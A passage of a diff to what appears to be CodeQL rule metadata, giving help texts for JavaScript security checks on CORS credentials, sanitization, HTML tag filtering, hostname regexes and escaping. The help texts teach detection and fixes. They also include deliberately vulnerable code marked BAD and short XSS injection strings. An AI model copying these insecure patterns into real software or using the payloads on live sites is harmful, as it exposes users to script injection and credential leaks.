'); \n });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + }, + "properties" : { + "tags" : [ "security", "maintainability", "frameworks/angularjs", "external/cwe/cwe-116" ], + "description" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities.", + "id" : "js/angular/disabling-sce", + "kind" : "problem", + "name" : "Disabling SCE", + "precision" : "very-high", + "problem.severity" : "warning", + "security-severity" : "7.8" + } + }, { + "id" : "js/identity-replacement", + "name" : "js/identity-replacement", + "shortDescription" : { + "text" : "Replacement of a substring with itself" + }, + "fullDescription" : { + "text" : "Replacing a substring with itself has no effect and may indicate a mistake." + }, + "defaultConfiguration" : { + "enabled" : true, + "level" : "warning" + }, + "help" : { + "text" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + }, + "properties" : { + "tags" : [ "correctness", "security", "external/cwe/cwe-116" ], + "description" : "Replacing a substring with itself has no effect and may indicate a mistake.", + "id" : "js/identity-replacement", + "kind" : "problem", + "name" : "Replacement of a substring with itself", + "precision" : "very-high", + "problem.severity" : "warning", + "security-severity" : "5.0" + } }, { "id" : "js/disabling-electron-websecurity", "name" : "js/disabling-electron-websecurity", @@ -192,787 +246,814 @@ "security-severity" : "8.8" } }, { - "id" : "js/cors-misconfiguration-for-credentials", - "name" : "js/cors-misconfiguration-for-credentials", + "id" : "js/incomplete-html-attribute-sanitization", + "name" : "js/incomplete-html-attribute-sanitization", "shortDescription" : { - "text" : "CORS misconfiguration for credentials transfer" + "text" : "Incomplete HTML attribute sanitization" }, "fullDescription" : { - "text" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials." + "text" : "Writing incompletely sanitized values to HTML attribute strings can lead to a cross-site scripting vulnerability." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin;\n // BAD: attacker can choose the value of origin\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin,\n whitelist = {\n \"https://example.com\": true,\n \"https://subdomain.example.com\": true,\n \"https://example.com:1337\": true\n };\n\n if (origin in whitelist) {\n // GOOD: the origin is in the whitelist\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n }\n\n // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n", - "markdown" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin;\n // BAD: attacker can choose the value of origin\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n let origin = url.parse(req.url, true).query.origin,\n whitelist = {\n \"https://example.com\": true,\n \"https://subdomain.example.com\": true,\n \"https://example.com:1337\": true\n };\n\n if (origin in whitelist) {\n // GOOD: the origin is in the whitelist\n res.setHeader(\"Access-Control-Allow-Origin\", origin);\n res.setHeader(\"Access-Control-Allow-Credentials\", true);\n }\n\n // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n" + "text" : "# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `
${getUserName(id) || \"Unknown name\"}
`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `
${getUserName(id) || \"Unknown name\"}
`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", + "markdown" : "# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `
${getUserName(id) || \"Unknown name\"}
`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `
${getUserName(id) || \"Unknown name\"}
`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-346", "external/cwe/cwe-639", "external/cwe/cwe-942" ], - "description" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials.", - "id" : "js/cors-misconfiguration-for-credentials", + "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116", "external/cwe/cwe-020" ], + "description" : "Writing incompletely sanitized values to HTML\n attribute strings can lead to a cross-site\n scripting vulnerability.", + "id" : "js/incomplete-html-attribute-sanitization", "kind" : "path-problem", - "name" : "CORS misconfiguration for credentials transfer", + "name" : "Incomplete HTML attribute sanitization", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "7.5" + "problem.severity" : "warning", + "security-severity" : "6.1" } }, { - "id" : "js/functionality-from-untrusted-source", - "name" : "js/functionality-from-untrusted-source", + "id" : "js/incomplete-multi-character-sanitization", + "name" : "js/incomplete-multi-character-sanitization", "shortDescription" : { - "text" : "Inclusion of functionality from an untrusted source" + "text" : "Incomplete multi-character sanitization" }, "fullDescription" : { - "text" : "Including functionality from an untrusted source may allow an attacker to control the functionality and execute arbitrary code." + "text" : "A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n", - "markdown" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n" + "text" : "# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy & Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n", + "markdown" : "# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `` as script end tags, but also tags such as `` even though it is a parser error. This means that an attack string such as `` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy & Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], - "description" : "Security checks on the substrings of an unparsed URL are often vulnerable to bypassing.", - "id" : "js/incomplete-url-substring-sanitization", + "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116", "external/cwe/cwe-184", "external/cwe/cwe-185", "external/cwe/cwe-186" ], + "description" : "Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues.", + "id" : "js/bad-tag-filter", "kind" : "problem", - "name" : "Incomplete URL substring sanitization", + "name" : "Bad HTML filtering regexp", "precision" : "high", "problem.severity" : "warning", "security-severity" : "7.8" } }, { - "id" : "js/incomplete-hostname-regexp", - "name" : "js/incomplete-hostname-regexp", + "id" : "js/incomplete-sanitization", + "name" : "js/incomplete-sanitization", "shortDescription" : { - "text" : "Incomplete regular expression for hostnames" + "text" : "Incomplete string escaping or encoding" }, "fullDescription" : { - "text" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected." + "text" : "A string transformer that does not replace or escape all occurrences of a meta-character may be ineffective." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param('url'),\n host = urlLib.parse(url).host;\n // BAD: the host of `url` may be controlled by an attacker\n let regex = /^((www|beta).)?example.com/;\n if (host.match(regex)) {\n res.redirect(url);\n }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", - "markdown" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param('url'),\n host = urlLib.parse(url).host;\n // BAD: the host of `url` may be controlled by an attacker\n let regex = /^((www|beta).)?example.com/;\n if (host.match(regex)) {\n res.redirect(url);\n }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" + "text" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have 